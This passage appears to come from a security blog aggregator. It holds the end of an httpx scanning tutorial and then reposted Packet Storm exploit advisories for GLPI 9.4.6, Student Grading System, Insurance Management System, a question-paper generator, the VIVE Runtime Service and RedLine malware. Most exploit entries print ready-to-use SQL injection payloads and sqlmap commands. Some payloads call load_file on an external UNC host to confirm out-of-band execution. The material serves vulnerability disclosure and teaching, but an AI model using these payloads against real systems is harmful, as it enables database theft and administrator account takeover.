such injections by filtering the output of a web page. In error-based SQLi, an error is thrown which is reflected in the output page. As you can see in the command below we have used -ms filter to compare and find such pages. Ideally, an attacker can give a list of input and find common SQLi vulnerabilities in a similar way. In the output below, where the vuln is found, httpx displays that website’s name.
echo "http://testphp.vulnweb.com" | httpx -path "/listproducts.php?cat=1’" -ms "Error: You have an error in your SQL syntax;"
https://blogger.googleusercontent.com/img/a/AVvXsEhAu9RTErg8tosLtBEdTr_GazHPR2pQWI70rlwTCm-PHiUw4sUr5XZs8sZuhegnoxHLeXqjUC6AmMtkV1ZdcX6IsSjUjJTqFQov0m21tAsNrUlhF__PhMxTGFDgHGO_LUYKDc3vaQKGE57GHRPpPxkO-JhCyq_FnYJQgncOrAF0yyqYgTn7ZQBPqaqwYg=s16000 Filtering for XSS reflectionsReflected XSS by definition gets reflected in the web page’s output.

https://blogger.googleusercontent.com/img/a/AVvXsEjUSBjJcN33oq2ekAdJkMtRcMCUGBk_CRED_fIrLj7ka-g3dV0DyPdvKr9lW39sPdJ82NvIqwC94Es-BHnu0agzgYgbHegLy0o8DADavyo9matoST36ZTdTkQ7pmQxA4dCqJb40UCHIiyplngelIAtf0oSw-x_4PlafvFM9g5acGR3xdVw03B_APK__pg=s16000

An attacker can input a list of websites and then a list of path to check for reflected XSS in bunches. In the example below, the “-ms” module is used which is supposed to match the output webpage’s text content with the input provided. Since reflected XSS is shown in the output, the tool displays the name of the webpage where this vulnerability (payload output in the code) is observed.
echo "http://testphp.vulnweb.com" | httpx -path "/listproducts.php?cat=" -ms ""
https://blogger.googleusercontent.com/img/a/AVvXsEg0SATrZaFiM5GJXKVT7W6_cRC9cwlTFUlqLoiznGO587GPps-BmRLWdoryW8_wIIxd5Utqw61-ojOtRRiWex977abgeewSDnFby0xyctmnaRly6aS1OkKxCTvA_L8K94xVZODz0mIQgwjRIwf0L2Mn5009GXbBwgYXoQVMNpDErwhikPUBOGKstdkYHA=s16000 Web Page FuzzingHttpx is a great tool that can be used to fuzz web pages. “-path” module can be used to provide the name of the file to be fuzzed for existence on the server.

-path: path/list of paths to probe
echo "http://testphp.vulnweb.com" | httpx -probe -sc -path "/login.php"
https://blogger.googleusercontent.com/img/a/AVvXsEh46SKO1qFjbjumDukvGLqeQ_Uv2DYcig36OnG6ErQCDRNgyFNwdYudjn-9T8AD7jTjlsGH1mQameb8dgnaPDaU9uUFAc-eVP97fV9qyKs2QKuaWiaG0hr6qC2zdZ4iKokHzGW-H6ml_jYvZDevILYHG4WjORJs91bLPOMoPiJAVDkikXRcbis1QxkhOw=s16000 File outputThe scan results provided by the tool can also be exported for convenience. The most basic output is a text file with just webpages in every line. This can be useful for a variety of occasions while pentesting. Such modules are:

-o: Saves a result in a text output file
cat list | httpx -sc -o /root/results.txt
cat results.txt
https://blogger.googleusercontent.com/img/a/AVvXsEhYlMet5wQkj1NKhxsCoGoGKpEwo6UY7f5Sh1SrBFef_Pvuye8-rzLIHcyPCqnosZSFc-MmTRUUS7kmYvimsyjyETsUgOANDQ190b8jnHuBZ0QK3b1L7ddAxjsrqji_vinEnBrXXm2_Zu9w2kga_peO4CfDOymiu3DaEFQhSscSdsjqOgCbHXSb5Qy4iA=s16000

The same results can be saved in other formats too. Like,

-csv: Stores the scan results in CSV format. Default scan includes almost all of the content probes.
cat list | httpx -sc -csv -o /root/results.csv
cat results.csv
https://blogger.googleusercontent.com/img/a/AVvXsEhRhIkcza7HMa4gOb5lQlmNplkIvp53BX2yHx5BBGgat8zXSf-bDKl5J7UWeptJXv5anfwgHZmwmFEH3BOIsWxeXddtjaLLUaw2ityaYmU2NPZQF3AfNEykLv9jHkV7zKGmW38P1J7FyCQbX7h0z0LbASN300FFoSaZo_HXHhMfpv4D8Yt2eIBGT5FoFQ=s16000

-json: Stores the scan results in json format. Default scan includes almost all the content probes
cat list | httpx -sc -json -o /root/results.json
https://blogger.googleusercontent.com/img/a/AVvXsEhMoED5fGV0xKP9VQUi5K5eUWrQZ2JKGsZd3YZ1tqjr4RmGT4ogcepIZ3cx0YH-ZGOvKcjZ4BcuRp6pq4YtLJMzA00H0h0-egVcZpvwphsqfI2X5nlkvmB7vRUD2xliL38cMkuIpQwnj7974A3lnHl4u3VNtaZrCHLvKHyj9nDTqKLHHM9drcJcoAhirg=s16000

-srd: stores corresponding HTTP responses in custom directory with naming: “URL.txt”
cat list | httpx -[...]

Story about more than 3.5 million PII leakage in Yahoo!!!

Hello GUYS,Continue reading on Medium »
Read more...

SQL Injection at Spotify

SQL Injection at Spotify.Continue reading on Medium »
Read more...

Exploit Collector
Baixar GLPI Project 9.4.6 SQL Injection

https://1.bp.blogspot.com/-ju6c7E-5MWk/WWlvdc1QT-I/AAAAAAAAIPk/ByEXv5vo16UsrlpTJMmF2Op4hfJEgrRpQCLcBGAs/s1600/h79.png
Baixar GLPI Project 9.4.6 suffers from a remote SQL injection vulnerability.

MD5 | 26ad8734c5ba0d90f45a96375b55ccde

Download
# Exploit Title: Baixar GLPI Project 9.4.6 - SQLi
# Date: 10/12
# Exploit Author: Joas Antonio
# Vendor Homepage: https://glpi-project.org/pt-br/ <https:
# Software Link: https://glpi-project.org/pt-br/baixar/
# Version: GLPI - 9.4.6
# Tested on: Windows/Linux
# CVE : CVE-2021-44617

#POC1:
plugins/ramo/ramoapirest.php/getOutdated?idu=-1%20OR%203*2*1=6%20AND%20000111=000111

sqlmap -u "url/plugins/ramo/ramoapirest.php/getOutdated?idu=-1"


Source:packetstormsecurity.com

Exploit Collector
Student Grading System 1.0 SQL Injection

https://4.bp.blogspot.com/-ILIpsq3JVDo/WWlvQ8IjxbI/AAAAAAAAINI/veR2GTC9zzcP6cUZEvOZqGdUDt2RtL0uQCLcBGAs/s1600/h32.png
Student Grading System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 645f7f7e3381a63030d05a303ef48624

Download
## Title: Student Grading System v1.0 SQLi
## Author: nu11secur1ty
## Date: 03.14.2022
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/14522/student-grading-system-using-phpmysql-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Student-Grading-System

## Description:
The `user` parameter appears to be vulnerable to SQL injection attacks.
A single quote was submitted in the user parameter, and a database
error message was returned.
Two single quotes were then submitted and the error message disappeared.
You should review the contents of the error message, and the
application's handling of other input, to confirm whether a
vulnerability is present.
The attacker can take administrator account control and also of all
accounts and files information on this system, also the malicious user
can download all information about this system.

Status: CRITICAL

[+] Payloads:

```mysql

---
Parameter: user (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: user=-6693' OR 2950=2950-- qPwW&pwd=d0Y!w7s!B1

Type: UNION query
Title: Generic UNION query (random number) - 6 columns
Payload: user=-7952' UNION ALL SELECT
5650,5650,CONCAT(0x71786a7a71,0x7564497973726b65496f6e5778706143684359517149546e46776d6843484a504e624e7967484c57,0x716b627171),5650,5650,5650--
-&pwd=d0Y!w7s!B1
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Student-Grading-System)

## Proof and Exploit:
[href](https://streamable.com/h0x4xl)

Source:packetstormsecurity.com

Exploit Collector
Insurance Management System 1.0 SQL Injection

https://1.bp.blogspot.com/-q1b99IBpI9c/WWlu5sPD0hI/AAAAAAAAIJI/No13BTu40mUIIhRH8r1ULckiDMJCd7zkQCLcBGAs/s1600/h106.png
Insurance Management System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 4ed60632b6f1aa3e5565fcba353081cb

Download
## Title: Insurance Management System v1.0 SQLi
## Author: nu11secur1ty
## Date: 03.12.2022
## Vendor: https://itsourcecode.com/free-projects/php-project/php-projects-source-code-free-downloads/
## Software: https://itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/upload/main/vendors/itsourcecode.com/Insurance-Management-System

## Description:
The username parameter appears to be vulnerable to SQL injection
attacks. The payload '+(select
load_file('\\\\9hrdmiwt98pph06kzx56a8hv7mdf17pysmk9axz.itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/\\xek'))+'
was submitted in the username parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed.
The attacker can take administrator account control and also of all
accounts on this system, also the malicious user can download all
information about this system.

Status: CRITICAL

[+] Payloads:

```mysql
---
Parameter: username (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: username=GvWNfNIz'+(select
load_file('\\\\9hrdmiwt98pph06kzx56a8hv7mdf17pysmk9axz.itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/\\xek'))+''
AND 7122=(SELECT (CASE WHEN (7122=7122) THEN 7122 ELSE (SELECT 6385
UNION SELECT 2068) END))-- -&password=y6E!b3n!T9

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: username=GvWNfNIz'+(select
load_file('\\\\9hrdmiwt98pph06kzx56a8hv7mdf17pysmk9axz.itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/\\xek'))+''
AND (SELECT 3405 FROM(SELECT COUNT(*),CONCAT(0x7178767671,(SELECT
(ELT(3405=3405,1))),0x7178627871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- zJzm&password=y6E!b3n!T9

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=GvWNfNIz'+(select
load_file('\\\\9hrdmiwt98pph06kzx56a8hv7mdf17pysmk9axz.itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/\\xek'))+''
AND (SELECT 5739 FROM (SELECT(SLEEP(5)))crqV)--
pBFE&password=y6E!b3n!T9
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/upload/main/vendors/itsourcecode.com/Insurance-Management-System)

## Proof and Exploit:
[href](https://streamable.com/iyml42)

Source:packetstormsecurity.com

Exploit Collector
Automatic Question Paper Generator System 1.0 Cross Site Scripting

https://4.bp.blogspot.com/-gp6vAY2GXMM/WWlvG3cWkQI/AAAAAAAAILY/aMDesAGFEocqJU-7SaIaO870_Bbf2ZUHACLcBGAs/s1600/h139.png
Automatic Question Paper Generator System version 1.0 suffers from a persistent cross site scripting vulnerability.

MD5 | d5c150fff3e3987b7808102f9f5127ab

Download
# Exploit Title: Automatic Question Paper Generator System 1.0 - Cross-site scripting stored
# Date: 2022-11-03
# Exploit Author: Mr Empy
# Software Link: https://www.sourcecodester.com/php/15190/automatic-question-paper-generator-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: Linux

Title:
================
Automatic Question Paper Generator System 1.0 - Cross-site scripting stored
Summary:
================
The Automatic Question Paper Generator in version 1.0 is vulnerable to
arbitrary persistent javascript code injection (XSS), which can lead to
thwarting of browser resources and session cookie theft.
Severity Level:
================
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Affected Product:
================
Automatic Question Paper Generator v1.0
Steps to Reproduce:
================

1. Open your browser, create an account on the site and log into it (
http://target.com/aqpg/users/login.php).

2. Click on your profile icon and then click on My Account. The field
called "First Name", "Middle Name", "Last Name" are vulnerable to XSS,
inject the payload into one of them and then save your changes.

Source:packetstormsecurity.com

Exploit Collector
VIVE Runtime Service 1.0.0.4 Unquoted Service Path

https://3.bp.blogspot.com/-XNOhyhmygqg/WWlvTLzMLRI/AAAAAAAAINo/1vKZqL-UEc0yrpuP08mTX_Jxjx_k32PvQCLcBGAs/s1600/h41.png
VIVE Runtime Service version 1.0.0.4 suffers from an unquoted service path vulnerability.

MD5 | 897fc0a78d5fbf6e7a9c6b21ff3e5b03

Download
# Exploit Title: VIVE Runtime Service - 'ViveAgentService' Unquoted Service Path
# Date: 11/03/2022
# Exploit Author: Faisal Alasmari
# Vendor Homepage: https://www.vive.com/
# Software Link: https://developer.vive.com/resources/downloads/
# Version: 1.0.0.4
# Tested: Windows 10 x64
C:\Users\User>sc qc "VIVE Runtime Service"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VIVE Runtime Service
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\VIVE\Updater\App\ViveRuntimeService\ViveAgentService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : VIVE Runtime Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.


Source:packetstormsecurity.com

Exploit Collector
RedLine.MainPanel Insecure Permissions

https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
RedLine.MainPanel malware suffers from an insecure permissions vulnerability.

MD5 | e1c2071d58a69c10bc1e67e836d70e65

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/baf102927947289e4d589028620ce291.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: RedLine.MainPanel - cracked.exe
Vulnerability: Insecure Permissions
Description: The malware writes PE files with insecure permissions to c drive granting change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Family: RedLine
Type: PE32
MD5: baf102927947289e4d589028620ce291
Vuln ID: MVID-2022-0511
Disclosure: 03/13/2022

Exploit/PoC:
C:\>cacls Build.exe
C:\Build.exe BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C

C:\>dir Build.exe
Volume in drive C has no label.

Directory of C:\

03/04/2022 02:24 AM 144,384 Build.exe
1 File(s) 144,384 bytes
0 Dir(s) 25,982,451,712 bytes free
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com